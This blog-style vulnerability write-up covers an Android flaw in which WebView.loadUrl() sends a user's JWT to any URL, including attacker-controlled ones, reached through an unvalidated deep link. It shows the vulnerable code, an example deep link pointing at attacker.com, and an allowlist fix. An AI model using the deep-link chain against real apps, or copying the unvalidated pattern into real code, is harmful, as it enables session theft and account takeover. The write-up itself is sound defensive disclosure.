WebView.loadUrl() routes sensitive headers to attacker-controlled servers.June 16, 2026
The Silent Token Leak: The Hidden Danger of WebView.loadUrl() in Android
Introduction
Hirad
3 min read
Introduction
In the era of hybrid mobile applications, developers often rely on WebView to seamlessly integrate web-based features within native Android environments. To ensure a smooth user experience, maintaining the session across the native app and the web view is crucial.
When hunting for vulnerabilities in mobile applications, it's easy to get tunnel vision and look strictly for complex memory corruptions or flashy zero-days. However, in my experience as a security researcher, some of the most critical vulnerabilities arise from seemingly harmless, everyday implementations designed to improve user experience.
Recently, while analyzing an Android target, I stumbled upon a fascinating pattern in how the application handled its authentication flow within a WebView. It's a perfect example of how an isolated behavior can escalate into a severe security flaw when chained with other structural weaknesses.
The Pitfall: Seamless Authentication Gone Wrong
To maintain user sessions inside the in-app browser without asking the user to log in again, the application appended the user's JWT (JSON Web Token) directly into the Authorization header before passing it to the loadUrl() method.
The implementation looked something like this:
HashMap<String, String> headers = new HashMap<>();
headers.put("Authorization", "Bearer " + userToken);
webView.loadUrl(uri.toString(), headers);HashMap<String, String> headers = new HashMap<>();
headers.put("Authorization", "Bearer " + userToken);
webView.loadUrl(uri.toString(), headers);At first glance, this seems like standard, clean practice. The app needs the user to be authenticated in the web context, and passing the token via HTTP headers is arguably more secure than passing it as a query parameter in the URL, where it could be logged by proxy servers or browser history.
But there was one tiny detail that changed the entire narrative: there was absolutely zero validation on the destination URL.
Testing the Hypothesis
I wanted to observe the actual behavior dynamically. Using dynamic instrumentation (Frida), I intercepted the application at runtime and modified the target URL value, redirecting the request to a server under my control.
The result was exactly what I anticipated. The WebView, lacking any form of Host Validation or domain restriction, blindly fired the request to my external server. Looking at my server logs, I saw the highly sensitive Authorization header sitting right there, attached to the rogue request.
The Art of Chaining: Turning a Quirk into an Account Takeover
If we look at this finding in isolation, a triage team might argue its severity: "This isn't a critical bug; the user would have to somehow navigate to a malicious link from inside the app."
However, in the real world of offensive security, the true value of these primitives shines when they are chained. This behavior acts as a loaded gun, just waiting for another vulnerability to pull the trigger.
Consider this attack scenario:
- The Entry Point: The application has an exported Activity that handles Deep Links or Intents, taking a URL parameter from the user.
- The Missing Check: This Activity fails to validate if the provided URL belongs to a trusted domain (Open Redirect / Intent Redirection).
- The Execution: The attacker crafts a malicious Deep Link (e.g.,
myapp://open?url=https://attacker.com) and sends it to the victim. - The Leak: The application routes this controlled URL into the vulnerable
WebView. TheloadUrl()method dutifully attaches the victim's JWT and sends it directly to the attacker's server.
Suddenly, an arguably "low-impact" behavior transforms into a one-click Account Takeover (ATO). The attacker captures the session token and gains full access to the victim's account without them ever knowing.
Mitigation: How to Secure WebView Authentications
If you are an Android developer, the fix is straightforward but vital. Never trust the destination URL when attaching sensitive headers. You must implement strict host validation using an allowlist approach.
Here is an example of how to secure the implementation:
String targetHost = uri.getHost();
// 1. Define a strict allowlist of trusted domains
if (targetHost != null && (targetHost.equals("trusted-domain.com") || targetHost.endsWith(".trusted-domain.com"))) {
// 2. Safe to attach headers
HashMap<String, String> headers = new HashMap<>();
headers.put("Authorization", "Bearer " + userToken);
webView.loadUrl(uri.toString(), headers);
} else {
// 3. Fallback for untrusted URLs: Load normally without leaking tokens
webView.loadUrl(uri.toString());
}String targetHost = uri.getHost();
// 1. Define a strict allowlist of trusted domains
if (targetHost != null && (targetHost.equals("trusted-domain.com") || targetHost.endsWith(".trusted-domain.com"))) {
// 2. Safe to attach headers
HashMap<String, String> headers = new HashMap<>();
headers.put("Authorization", "Bearer " + userToken);
webView.loadUrl(uri.toString(), headers);
} else {
// 3. Fallback for untrusted URLs: Load normally without leaking tokens
webView.loadUrl(uri.toString());
}Additionally, leveraging modern Android features like Custom Tabs is often a safer alternative to building custom WebView implementations, as it shares the browser's cookie jar and reduces the need to pass tokens manually.
Conclusion
What makes this finding interesting isn't a groundbreaking new exploitation technique, but rather the anatomy of the vulnerability itself. Most critical bugs don't stem from a single catastrophic failure; they are born when multiple seemingly benign behaviors are stacked together.
These days, whenever I spot loadUrl(url, headers) during a source code review or dynamic analysis, my first question is no longer "What headers are being sent?" Instead, my first question is: "Who controls the URL?" Because if the destination is controllable, the rest of the exploit usually writes itself.